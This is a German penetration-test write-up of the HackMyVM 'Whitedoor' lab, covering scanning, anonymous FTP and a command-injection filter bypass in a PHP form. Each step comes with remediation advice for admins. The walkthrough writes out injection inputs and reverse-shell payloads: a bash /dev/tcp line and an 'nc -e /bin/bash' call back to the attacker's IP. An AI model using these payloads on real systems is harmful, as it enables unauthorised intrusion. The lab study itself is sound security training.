Whitedoor - HackMyVM - Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nikto
nmap
gobuster
ftp
cat
wget
nc (Netcat)
hydra
ssh
sudo
vim
find
base64

Inhaltsverzeichnis

Reconnaissance

Analyse: Der erste Schritt in unserem Pentest ist die Erkundung des lokalen Netzwerks, um potenzielle Ziele zu identifizieren. `arp-scan -l` sendet ARP-Anfragen an alle Geräte im lokalen Netzwerksegment und listet die Antworten auf. ARP (Address Resolution Protocol) wird verwendet, um IP-Adressen zu MAC-Adressen aufzulösen.

Bewertung: Das Tool hat erfolgreich ein Gerät mit der IP-Adresse 192.168.2.131 und der MAC-Adresse 08:00:27:cb:af:b8 identifiziert. Die MAC-Adresse deutet auf einen Hersteller hin (PCS Systemtechnik GmbH, oft mit Oracle VirtualBox assoziiert). Dies ist unser Zielsystem.

Empfehlung (Pentester): Die identifizierte IP-Adresse ist die Basis für alle weiteren Scans und Angriffsversuche. Notieren Sie diese Adresse.
Empfehlung (Admin): Netzwerksegmentierung und die Überwachung auf ungewöhnliche ARP-Aktivitäten können helfen, solche Scans zu erkennen. Tools wie `arpwatch` können eingesetzt werden.

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.131	08:00:27:cb:af:b8	PCS Systemtechnik GmbH
                    

Analyse: Um die Interaktion mit dem Zielsystem zu vereinfachen, wird die `/etc/hosts`-Datei auf unserem Angreifer-System bearbeitet. `vi` ist ein Texteditor, der hier verwendet wird, um einen benutzerfreundlichen Hostnamen (`whitedoor.hmv`) der IP-Adresse des Ziels zuzuordnen. Dies ermöglicht es uns, `whitedoor.hmv` anstelle von `192.168.2.131` in zukünftigen Befehlen zu verwenden.

Bewertung: Die Zuordnung ist erfolgreich durchgeführt. Dies verbessert die Lesbarkeit und Handhabung von Befehlen und URLs im weiteren Verlauf des Tests.

Empfehlung (Pentester): Verwenden Sie immer Hostnamen, wenn möglich, um Fehler zu vermeiden und die Übersichtlichkeit zu wahren. Dies ist besonders bei komplexeren Umgebungen hilfreich.
Empfehlung (Admin): Diese Änderung erfolgt auf dem Angreifer-System und hat keine direkten Auswirkungen auf das Ziel. Generell sollten DNS-Auflösungen zentral verwaltet und überwacht werden.

┌──(root㉿cyber)-[~] └─# vi /etc/hosts
127.0.0.1	localhost
192.168.2.131   whitedoor.hmv
                    

Analyse: `nikto` ist ein Webserver-Scanner, der nach bekannten Schwachstellen, Fehlkonfigurationen, Standarddateien und anderen Sicherheitsproblemen sucht. Der Befehl `nikto -h 192.168.2.131` weist Nikto an, den Webserver auf Port 80 der Ziel-IP zu scannen.

Bewertung: Nikto identifiziert den Webserver als Apache/2.4.57 (Debian). Es meldet fehlende Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`), die potenziell zu Clickjacking bzw. MIME-Sniffing-Angriffen führen könnten. Es findet keine offensichtlichen CGI-Verzeichnisse und stellt fest, dass der Server auf ungewöhnliche HTTP-Methoden antwortet, was die Ergebnisse anderer Tools beeinflussen könnte. Insgesamt liefert Nikto erste Hinweise auf mögliche Konfigurationsschwächen, aber keine direkten Exploits.

Empfehlung (Pentester): Die fehlenden Header sind Notizen wert, aber oft von geringerem Schweregrad. Die Information über den Servertyp (Apache/Debian) ist nützlich für die Suche nach spezifischen Schwachstellen. Die Antwort auf Junk-Methoden sollte bei der Interpretation von Ergebnissen anderer Scanner (z.B. Directory Brute-Forcing) berücksichtigt werden.
Empfehlung (Admin): Implementieren Sie die fehlenden Sicherheitsheader (`X-Frame-Options: DENY` oder `SAMEORIGIN`, `X-Content-Type-Options: nosniff`) in der Apache-Konfiguration, um die Sicherheit zu erhöhen. Konfigurieren Sie den Webserver so, dass er nur auf gültige HTTP-Methoden antwortet.

┌──(root㉿cyber)-[~] └─# nikto -h 192.168.2.131
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.131
+ Target Hostname:    192.168.2.131
+ Target Port:        80
+ Start Time:         2023-12-17 16:31:29 (GMT1)
---------------------------------------------------------------------------
+ Server: Apache/2.4.57 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ 8102 requests: 0 error(s) and 3 item(s) reported on remote host
+ End Time:           2023-12-17 16:31:39 (GMT1) (10 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
                    

Analyse: Dieser `nmap`-Befehl führt einen umfassenden Scan des Ziels durch. * `-sS`: SYN-Scan (Stealth-Scan), unauffälliger als ein voller TCP-Connect-Scan. * `-sV`: Versucht, die Version der laufenden Dienste zu ermitteln. * `-A`: Aktiviert OS-Erkennung, Versionserkennung, Skript-Scanning und Traceroute. * `-T5`: Setzt das Timing-Template auf "insane" für einen sehr schnellen Scan (kann ungenau sein oder auf Intrusion Detection Systeme (IDS) stoßen). * `192.168.2.131`: Das Ziel. * `-p-`: Scannt alle 65535 TCP-Ports. * `| grep open`: Filtert die Ausgabe, um nur Zeilen anzuzeigen, die offene Ports enthalten.

Bewertung: Der Scan identifiziert drei offene TCP-Ports: 21 (FTP - vsftpd 3.0.3), 22 (SSH - OpenSSH 9.2p1 Debian) und 80 (HTTP - Apache httpd 2.4.57). Diese Dienste stellen potenzielle Angriffsvektoren dar. Die Versionsinformationen sind entscheidend für die Suche nach bekannten Schwachstellen.

Empfehlung (Pentester): Untersuchen Sie jeden offenen Port weiter. Prüfen Sie FTP auf anonymen Zugriff und bekannte Schwachstellen in vsftpd 3.0.3. Prüfen Sie SSH auf schwache Passwörter oder bekannte Schwachstellen in OpenSSH 9.2p1. Untersuchen Sie den Webserver auf Port 80 genauer.
Empfehlung (Admin): Stellen Sie sicher, dass alle Dienste notwendig sind. Schließen Sie nicht benötigte Ports. Halten Sie die Software (vsftpd, OpenSSH, Apache) auf dem neuesten Stand. Konfigurieren Sie Dienste sicher (z.B. Deaktivierung des anonymen FTP-Zugriffs, wenn nicht benötigt; starke SSH-Passwörter/Schlüssel; sichere Webserver-Konfiguration).

┌──(root㉿cyber)-[~] └─# nmap -sS -sV -A -T5 192.168.2.131 -p- | grep open
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
                    

Analyse: Dieser zweite `nmap`-Scan verwendet dieselben Optionen wie der vorherige (`-sS -sV -A -T5 -p-`), jedoch ohne den `grep`-Filter. Dadurch wird die vollständige Ausgabe von Nmap angezeigt, einschließlich detaillierter Informationen zu den offenen Ports, Betriebssystemerkennung und Traceroute.

Bewertung: Die detaillierte Ausgabe bestätigt die offenen Ports (21, 22, 80) und deren Versionen. Besonders wichtig ist die Feststellung beim FTP-Dienst (Port 21): `ftp-anon: Anonymous FTP login allowed`. Dies bedeutet, dass jeder ohne Passwort auf den FTP-Server zugreifen kann. Es wird auch eine Datei `README.txt` im Root-Verzeichnis des FTP-Servers angezeigt. Die SSH-Hostkeys werden angezeigt. Der HTTP-Titel ist "Home". Nmap schätzt das Betriebssystem auf Linux 4.x/5.x. Die Traceroute zeigt, dass das Ziel direkt erreichbar ist (1 Hop).

Empfehlung (Pentester): Der anonyme FTP-Zugriff ist ein kritischer Fund. Loggen Sie sich sofort anonym ein und untersuchen Sie die `README.txt` und andere mögliche Dateien/Verzeichnisse. Der SSH- und HTTP-Dienst bleiben weiterhin interessant.
Empfehlung (Admin): Deaktivieren Sie den anonymen FTP-Zugriff sofort, es sei denn, er ist absolut notwendig und bewusst konfiguriert. Wenn er benötigt wird, beschränken Sie die Berechtigungen des anonymen Benutzers streng und stellen Sie sicher, dass keine sensiblen Informationen zugänglich sind. Überprüfen Sie regelmäßig die Konfiguration aller exponierten Dienste.

┌──(root㉿cyber)-[~] └─# nmap -sS -sV -A -T5 192.168.2.131 -p-
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-17 16:31 CET
Nmap scan report for whitedoor.hmv (192.168.2.131)
Host is up (0.00023s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0              13 Nov 16 22:40 README.txt
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.2.199
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
| ssh-hostkey:
|   256 3d:85:a2:89:a9:c5:45:d0:1f:ed:3f:45:87:9d:71:a6 (ECDSA)
|_  256 07:e8:c5:28:5e:84:a7:b6:bb:d5:1d:2f:d8:92:6b:a6 (ED25519)
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-title: Home
|_http-server-header: Apache/2.4.57 (Debian)
MAC Address: 08:00:27:CB:AF:B8 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.23 ms whitedoor.hmv (192.168.2.131)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.34 seconds
                    

Web Enumeration

Analyse: `gobuster` ist ein Tool zum Brute-Forcen von Verzeichnissen und Dateien auf Webservern. * `dir`: Gibt an, dass wir nach Verzeichnissen/Dateien suchen. * `-u http://whitedoor.hmv`: Die Ziel-URL. * `-x ...`: Liste von Dateiendungen, nach denen zusätzlich gesucht werden soll (z.B. `index.php` wird auch als `index` gesucht, und mit den Endungen wie `.php`, `.txt` etc.). * `-w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt"`: Die Wortliste, die für das Raten von Namen verwendet wird. SecLists ist eine beliebte Sammlung von Wortlisten für Sicherheitstests. * `-b '403,404'`: Statuscodes, die aus der Ausgabe ausgeblendet werden sollen (Forbidden, Not Found). * `-e`: Erweiterter Modus, zeigt die vollständige URL an. * `--no-error`: Versteckt Fehler beim Verbindungsaufbau. * `-k`: Überspringt die SSL-Zertifikatsüberprüfung (hier nicht relevant, da HTTP).

Bewertung: Gobuster findet die Datei `http://whitedoor.hmv/index.php` mit dem Statuscode 200 (OK). Abgesehen von dieser Startdatei wurden keine weiteren versteckten Verzeichnisse oder Dateien mit der verwendeten Wortliste entdeckt.

Empfehlung (Pentester): Die `index.php` ist der Hauptangriffspunkt auf dem Webserver. Analysieren Sie diese Datei und die Funktionalität der Webseite genauer. Es könnten andere Wortlisten oder Tools (z.B. `ffuf`, `dirsearch`) versucht werden, um eventuell doch noch etwas zu finden.
Empfehlung (Admin): Stellen Sie sicher, dass keine unnötigen oder sensiblen Dateien/Verzeichnisse über den Webserver erreichbar sind. Konfigurieren Sie den Webserver so, dass Directory Listing deaktiviert ist. Überwachen Sie Webserver-Logs auf Brute-Force-Versuche.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://whitedoor.hmv -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,js -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error -k
http://whitedoor.hmv/index.php            (Status: 200) [Size: 416]
                    

Analyse: Aufgrund des Nmap-Ergebnisses (`Anonymous FTP login allowed`) versuchen wir nun, uns mit dem Standard-FTP-Client anonym beim Zielserver anzumelden. Der Benutzername `Anonymous` (oder `ftp`) wird verwendet, und ein beliebiges Passwort (oft wird eine E-Mail-Adresse erwartet, aber hier reicht ein Leerzeichen) wird eingegeben.

Bewertung: Der anonyme Login ist erfolgreich (`230 Login successful`). Dies bestätigt die Nmap-Ergebnisse und gewährt uns Zugriff auf das Dateisystem, soweit es der FTP-Dienst erlaubt.

Empfehlung (Pentester): Erkunden Sie das Dateisystem des FTP-Servers gründlich. Suchen Sie nach interessanten Dateien, Konfigurationsdateien, Skripten oder Hinweisen auf weitere Schwachstellen.
Empfehlung (Admin): Wie bereits erwähnt, deaktivieren Sie den anonymen FTP-Zugriff, wenn er nicht unbedingt erforderlich ist. Dies ist eine signifikante Sicherheitslücke.

┌──(root㉿cyber)-[~] └─# ftp 192.168.2.131
Connected to 192.168.2.131.
220 (vsFTPd 3.0.3)
Name (192.168.2.131:cyber): Anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
                    

Analyse: Innerhalb der FTP-Sitzung wird der Befehl `ls -la` verwendet, um den Inhalt des aktuellen Verzeichnisses detailliert aufzulisten (`-l` für langes Format, `-a` um auch versteckte Dateien anzuzeigen).

Bewertung: Das aktuelle Verzeichnis enthält nur die Datei `README.txt`, die bereits von Nmap entdeckt wurde. Es gibt keine weiteren versteckten oder sichtbaren Dateien oder Verzeichnisse auf dieser Ebene.

Empfehlung (Pentester): Laden Sie die `README.txt` herunter und analysieren Sie ihren Inhalt. Versuchen Sie, in andere Verzeichnisse zu wechseln, falls möglich.
Empfehlung (Admin): Stellen Sie sicher, dass das Basisverzeichnis für den anonymen FTP-Zugriff keine sensiblen Informationen enthält und keine unnötigen Berechtigungen gewährt.

ftp> ls -la
229 Entering Extended Passive Mode (|||58713|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        110          4096 Nov 16 22:40 .
drwxr-xr-x    2 0        110          4096 Nov 16 22:40 ..
-rw-r--r--    1 0        0              13 Nov 16 22:40 README.txt
226 Directory send OK.
                    

Analyse: Der FTP-Befehl `get README.txt` wird verwendet, um die Datei `README.txt` vom FTP-Server auf das lokale System des Angreifers herunterzuladen.

Bewertung: Die Datei wird erfolgreich heruntergeladen. Sie ist nur 13 Bytes groß.

Empfehlung (Pentester): Untersuchen Sie den Inhalt der heruntergeladenen `README.txt`. Auch kurze Nachrichten können Hinweise enthalten.
Empfehlung (Admin): Überprüfen Sie alle Dateien, die über anonymen FTP-Zugriff erreichbar sind, auf potenziell unbeabsichtigte Informationen.

ftp> get README.txt
local: README.txt remote: README.txt
229 Entering Extended Passive Mode (|||40389|)
150 Opening BINARY mode data connection for README.txt (13 bytes).
100% |***********************************|    13       60.74 KiB/s    00:00 ETA
226 Transfer complete.
13 bytes received in 00:00 (30.81 KiB/s)
                    

Analyse: Es wird versucht, eine Datei namens `shell.sh` (vermutlich eine Reverse-Shell oder ein anderes Skript) vom lokalen System auf den FTP-Server hochzuladen (`put shell.sh`).

Bewertung: Der Versuch schlägt fehl (`550 Permission denied`). Der anonyme Benutzer hat keine Schreibberechtigungen im aktuellen Verzeichnis.

Empfehlung (Pentester): Dies ist eine erwartete Sicherheitsmaßnahme. Suchen Sie nach anderen Verzeichnissen, in denen möglicherweise Schreibberechtigungen bestehen, obwohl dies für anonyme Benutzer unwahrscheinlich ist. Konzentrieren Sie sich auf das Herunterladen von Informationen.
Empfehlung (Admin): Die Konfiguration ist hier korrekt, da anonyme Benutzer keine Schreibrechte haben sollten. Überprüfen Sie dies regelmäßig.

ftp> put shell.sh
local: shell.sh remote: shell.sh
229 Entering Extended Passive Mode (|||57377|)
550 Permission denied.
                    

Analyse: Die Befehle `cd ~`, `pwd` und `ls` werden verwendet, um zum Heimatverzeichnis des FTP-Benutzers zu wechseln (was bei anonymem Zugriff oft dem Root-Verzeichnis des FTP-Servers entspricht), das aktuelle Verzeichnis zu überprüfen und dessen Inhalt aufzulisten.

Bewertung: Der Wechsel zum Heimatverzeichnis (`/`) ist erfolgreich. Das erneute Auflisten des Verzeichnisses zeigt wieder nur die `README.txt`. Es gibt keine weiteren zugänglichen Verzeichnisse oder Dateien auf dieser Ebene über den anonymen FTP-Zugang.

Empfehlung (Pentester): Der anonyme FTP-Zugang scheint außer der `README.txt` keine weiteren Informationen preiszugeben. Fokussieren Sie sich nun auf die anderen Dienste, insbesondere den Webserver.
Empfehlung (Admin): Die Beschränkung des anonymen Zugriffs auf ein minimales Verzeichnis ist korrekt konfiguriert.

ftp> cd ~
250 Directory successfully changed.
ftp> pwd
Remote directory: /
ftp> ls
229 Entering Extended Passive Mode (|||36363|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0              13 Nov 16 22:40 README.txt
226 Directory send OK.
                    

Analyse: Nachdem die `README.txt` per FTP heruntergeladen wurde, wird ihr Inhalt mit dem `cat`-Befehl auf dem lokalen System angezeigt.

Bewertung: Die Datei enthält nur die Nachricht "Good luck!". Dies ist ein kleiner Hinweis, aber keine direkte technische Information.

Empfehlung (Pentester): Notieren Sie sich die Nachricht, auch wenn sie nicht unmittelbar nützlich erscheint. Konzentrieren Sie sich auf den Webserver.
Empfehlung (Admin): Keine spezifische Aktion erforderlich, aber generell sollten keine unnötigen Dateien auf dem FTP-Server liegen.

┌──(root㉿cyber)-[~] └─# cat README.txt
Good luck!
                    

Analyse: Hier wird der Quellcode der Webseite `http://whitedoor.hmv/index.php` untersucht (vermutlich über die "View Source"-Funktion im Browser). Der relevante Teil ist ein HTML-Formular, das Daten per POST-Methode an dieselbe `index.php` sendet. Es enthält ein Eingabefeld (`entrada`) und einen Senden-Button.

Bewertung: Die Webseite enthält ein Formular, das Benutzereingaben entgegennimmt und verarbeitet. Dies ist ein potenzieller Angriffspunkt für Command Injection oder andere Web-Schwachstellen.

Empfehlung (Pentester): Testen Sie das Formular mit verschiedenen Eingaben. Versuchen Sie, Systembefehle einzuschleusen. Analysieren Sie die Serverantworten genau.
Empfehlung (Admin): Stellen Sie sicher, dass alle Benutzereingaben auf der Serverseite validiert und sicher verarbeitet werden, um Command Injection und andere Angriffe zu verhindern. Verwenden Sie parametrisierte Abfragen oder sichere API-Aufrufe anstelle von direkter Befehlsausführung.

Web enum:
view-source:http://whitedoor.hmv/index.php

Home

Formulario de Comandos

Analyse: Es wird versucht, den Befehl `id` in das Formular auf `http://whitedoor.hmv/index.php` einzugeben.

Bewertung: Die Anwendung antwortet mit "Permission denied. Only the 'ls' command is allowed." Dies zeigt, dass eine serverseitige Prüfung stattfindet, die nur den `ls`-Befehl erlaubt. Es bestätigt auch, dass eine Form von Befehlsausführung im Hintergrund stattfindet.

Empfehlung (Pentester): Die Filterung ist ein Hindernis. Versuchen Sie, den Filter zu umgehen. Möglichkeiten sind: Befehlsketten (`ls; id`, `ls | id`), Verwendung von alternativen Zeichen oder Kodierungen, oder Ausnutzung von Schwächen in der Filterlogik (z.B. Groß-/Kleinschreibung, Whitespace).
Empfehlung (Admin): Obwohl ein Filter vorhanden ist, ist das Whitelisting (nur explizit erlaubte Befehle zulassen) sicherer als Blacklisting (bekannte böse Befehle verbieten). Die aktuelle Implementierung scheint ein Whitelist-Ansatz nur für `ls` zu sein, was gut ist, aber die generelle Ausführung von Shell-Befehlen basierend auf Benutzereingaben ist gefährlich. Besser wäre es, eine spezifische Funktion aufzurufen, anstatt `shell_exec`.

http://whitedoor.hmv/index.php
textbox: id;

Permission denied. Only the 'ls' command is allowed.
                     

Analyse: Nun wird der erlaubte Befehl `ls -la` in das Formular eingegeben.

Bewertung: Der Befehl wird erfolgreich ausgeführt und die Ausgabe zeigt den Inhalt des aktuellen Verzeichnisses auf dem Server an (vermutlich das Web-Root-Verzeichnis `/var/www/html`). Es listet die Dateien `blackdoor.webp`, `blackindex.php`, `index.php` und `whitedoor.jpg` auf.

Empfehlung (Pentester): Untersuchen Sie die neu entdeckten Dateien `blackindex.php` und die Bilddateien. Laden Sie sie herunter und analysieren Sie sie. Versuchen Sie, Befehle anzuhängen oder mit Pipes (`|`) zu kombinieren, um den `ls`-Filter möglicherweise zu umgehen (z.B. `ls; pwd`, `ls | whoami`).
Empfehlung (Admin): Wie zuvor, die Ausführung von `shell_exec` ist riskant. Überprüfen Sie den Code von `index.php` und `blackindex.php` auf weitere Schwachstellen. Stellen Sie sicher, dass Dateiberechtigungen korrekt gesetzt sind.

http://whitedoor.hmv/index.php

textbox: ls -la;

total 92
drwxr-xr-x 2 root root  4096 Nov 16 20:44 .
drwxr-xr-x 3 root root  4096 Nov 16 00:09 ..
-rw-r--r-- 1 root root  4040 Nov 16 12:47 blackdoor.webp
-rw-r--r-- 1 root root  1405 Nov 16 20:44 blackindex.php
-rw-r--r-- 1 root root  1174 Nov 16 12:50 index.php
-rw-r--r-- 1 root root 72239 Nov 16 10:40 whitedoor.jpg
                     

Analyse: Mit `wget` wird versucht, die zuvor entdeckte Bilddatei `whitedoor.jpg` vom Webserver herunterzuladen.

Bewertung: Der Download ist erfolgreich. Die Bilddatei wurde auf das lokale System heruntergeladen.

Empfehlung (Pentester): Analysieren Sie die heruntergeladene Bilddatei. Bilder können manchmal Metadaten (EXIF) oder sogar versteckte Daten (Steganographie) enthalten, die Hinweise oder Zugangsdaten liefern könnten. Tools wie `exiftool` oder `steghide` können hierfür verwendet werden.
Empfehlung (Admin): Stellen Sie sicher, dass keine sensiblen Informationen unbeabsichtigt in Metadaten von öffentlich zugänglichen Dateien gespeichert sind. Bereinigen Sie Metadaten vor der Veröffentlichung.

┌──(root㉿cyber)-[~] └─# wget http://whitedoor.hmv/whitedoor.jpg
--2023-12-17 16:35:57--  http://whitedoor.hmv/whitedoor.jpg
Auflösen des Hostnamens whitedoor.hmv (whitedoor.hmv)… 192.168.2.131
Verbindungsaufbau zu whitedoor.hmv (whitedoor.hmv)|192.168.2.131|:80 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 72239 (71K) [image/jpeg]
Wird in whitedoor.jpg gespeichert.

whitedoor.jpg           100%[===================>]  70,55K  --.-KB/s    in 0s

2023-12-17 16:35:57 (547 MB/s) - whitedoor.jpg gespeichert [72239/72239]
                    

Analyse: Hier wird versucht, den Filter zu umgehen, indem der `ls`-Befehl mit einem Pipe-Symbol (`|`) und dem `cat`-Befehl kombiniert wird, um den Quellcode der `index.php`-Datei direkt über das Webformular auszulesen (`ls | cat index.php`).

Bewertung: Der Versuch ist erfolgreich! Der Filter prüft anscheinend nur, ob die Eingabe mit `ls` beginnt (`preg_match("/^ls\b/i", $entrada)`), aber er verhindert nicht die Ausführung von nachfolgenden Befehlen, die durch eine Pipe angehängt werden. Der Quellcode von `index.php` wird offengelegt. Der Code bestätigt die Verwendung von `shell_exec` und die Filterlogik.

Empfehlung (Pentester): Dies ist eine kritische Command Injection Schwachstelle. Sie können nun beliebige Befehle ausführen, solange die Eingabe mit `ls` beginnt. Nutzen Sie dies, um das System weiter zu erkunden (z.B. `ls | whoami`, `ls | id`, `ls | pwd`, `ls | cat /etc/passwd`). Versuchen Sie, eine Reverse Shell zu etablieren.
Empfehlung (Admin): Die Schwachstelle ist gravierend und muss sofort behoben werden. Verwenden Sie niemals `shell_exec` oder ähnliche Funktionen mit direkter Benutzereingabe. Wenn Befehle ausgeführt werden müssen, verwenden Sie sichere Alternativen und validieren/sanitisieren Sie alle Eingaben rigoros. Die Filterlogik ist unzureichend.

Textbox: ls | cat index.php

Home

"; // Commented out or missing closing tag // Ejecutar la entrada como comandos $output = shell_exec($entrada); echo "
" . htmlspecialchars($output) . "
"; } else { echo "

Permission denied. Only the 'ls' command is allowed.

"; } } ?>

Analyse: Auf dem Angreifer-System wird ein Netcat-Listener auf Port 4443 gestartet (`nc -lvnp 4443`). `-l` für Listen-Modus, `-v` für verbose Ausgabe, `-n` um DNS-Auflösung zu vermeiden, `-p 4443` für den Port. Gleichzeitig wird versucht, über das anfällige Webformular eine Reverse Shell zum Listener aufzubauen. Der Payload `ls | %2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4443%200%3E%261%27` wird in das Textfeld eingegeben. Der URL-kodierte Teil `%2Fbin%2Fbash...` entspricht `/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.199/4443 0>&1'`, einem Standard-Bash-Reverse-Shell-Payload.

Bewertung: Der Netcat-Listener ist bereit, eingehende Verbindungen anzunehmen. Die Ausführung des Payloads über das Webformular scheint jedoch nicht zu funktionieren, da keine Verbindung beim Listener ankommt (dies wird impliziert, da der nächste Schritt eine andere Methode versucht).

Empfehlung (Pentester): Reverse Shells können durch Firewalls oder Konfigurationen blockiert werden. Versuchen Sie alternative Payloads (andere Sprachen wie Python, Perl, nc), andere Ports oder Bind Shells (obwohl unwahrscheinlicher). Überprüfen Sie, ob Sonderzeichen im Payload korrekt URL-kodiert wurden. Eventuell blockiert auch die `shell_exec`-Umgebung oder Berechtigungen die Netzwerkverbindung.
Empfehlung (Admin): Beheben Sie die Command Injection Schwachstelle. Beschränken Sie ausgehende Netzwerkverbindungen vom Webserver auf das Notwendigste (Egress Filtering). Überwachen Sie Prozesse und Netzwerkverbindungen auf verdächtige Aktivitäten.

┌──(root㉿cyber)-[~] └─# nc -lvnp 4443
listening on [any] 4443 ...
                    
Payload = ls | %2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4443%200%3E%261%27

# (Eingabe im Webformular, keine direkte Terminal-Ausgabe hierfür)
                    

Analyse: Ein weiterer Versuch, eine Reverse Shell zu bekommen. Diesmal wird der Payload `ls;nc -e /bin/bash 192.168.2.199 4444` verwendet. Dies nutzt das Semikolon (`;`) zur Befehlskettung statt der Pipe. Es wird versucht, Netcat (`nc`) auf dem Zielsystem zu verwenden, um eine Verbindung zum Angreifer (192.168.2.199) auf Port 4444 herzustellen und `/bin/bash` daran zu binden (`-e`).

Bewertung: Es passiert wieder nichts ("nichts Passiert"). Die Ausgabe zeigt nur das Ergebnis des `ls`-Befehls. Mögliche Gründe: `nc` ist auf dem Ziel nicht installiert, die Option `-e` wird nicht unterstützt (in neueren Netcat-Versionen oft der Fall), oder Firewalls blockieren die Verbindung.

Empfehlung (Pentester): Da Reverse Shells nicht direkt funktionieren, nutzen Sie die Command Injection, um das System weiter zu enumerieren. Suchen Sie nach Benutzern, Verzeichnissen, Konfigurationsdateien, Passwörtern oder SUID-Binaries. Prüfen Sie, ob `nc` verfügbar ist (`ls | which nc`).
Empfehlung (Admin): Beheben Sie die Command Injection. Entfernen Sie unnötige Tools wie `nc` vom Webserver. Implementieren Sie Egress Filtering.

Textbox: ls;nc -e /bin/bash 192.168.2.199 4444

blackdoor.webp
blackindex.php
index.php
whitedoor.jpg

nichts Passiert
                     

Analyse: Mit der funktionierenden Command Injection (`ls;[Befehl]`) wird nun versucht, den Inhalt des `/home`-Verzeichnisses aufzulisten: `ls;ls /home`.

Bewertung: Der Befehl ist erfolgreich. Neben der Ausgabe des ersten `ls` (Dateien im Webroot) wird der Inhalt von `/home` angezeigt: `Gonzalo` und `whiteshell`. Dies sind zwei Benutzerverzeichnisse auf dem System.

Empfehlung (Pentester): Dies sind wertvolle Informationen. Versuchen Sie, die Home-Verzeichnisse dieser Benutzer weiter zu untersuchen (`ls;ls -la /home/Gonzalo`, `ls;ls -la /home/whiteshell`). Suchen Sie nach SSH-Schlüsseln, Konfigurationsdateien oder anderen sensiblen Daten. Diese Benutzernamen sind auch Kandidaten für Brute-Force-Angriffe auf SSH oder FTP.
Empfehlung (Admin): Beschränken Sie die Berechtigungen des Webserver-Benutzers (z.B. `www-data`), sodass er nicht auf Home-Verzeichnisse anderer Benutzer zugreifen kann.

Textbox: ls;ls /home

blackdoor.webp
blackindex.php
index.php
whitedoor.jpg
Gonzalo
whiteshell
                     

Analyse: Es wird versucht, den Quellcode der Datei `blackindex.php` mit der Command Injection auszulesen: `ls | cat blackindex.php`.

Bewertung: Der Quellcode von `blackindex.php` wird erfolgreich angezeigt. Dieses Skript scheint eine ähnliche Funktionalität wie `index.php` zu haben (nimmt Eingaben entgegen und führt sie mit `shell_exec` aus), hat aber eine zusätzliche Filterregel: Es blockiert explizit `ls`- oder `dir`-Befehle, die auf `/home/Gonzalo` oder `/home/Gonzalo/Desktop` abzielen. Außerdem bindet es das Bild `blackdoor.webp` ein.

Empfehlung (Pentester): Diese zweite Seite (`blackindex.php`) bietet möglicherweise eine alternative Möglichkeit zur Command Injection, falls `index.php` gepatcht würde. Der spezifische Filter für `/home/Gonzalo` ist interessant und deutet darauf hin, dass dort möglicherweise etwas zu finden ist (wie die User-Flag). Nutzen Sie weiterhin `index.php` für die Command Injection, da es weniger restriktiv ist.
Empfehlung (Admin): Entfernen Sie die redundante und ebenfalls anfällige `blackindex.php`. Beheben Sie die Kern-Schwachstelle in `index.php`. Vermeiden Sie solche spezifischen und leicht umgehbaren Filter.

Textbox: ls|cat blackindex.php





Permission denied to execute ls on /home/Gonzalo

"; } else { // Mostrar la entrada en la tabla de comandos // Ejecutar la entrada como comandos y mostrar el resultado $output = shell_exec($entrada); echo "
" . htmlspecialchars($output) . "
"; } } ?>

Initial Access

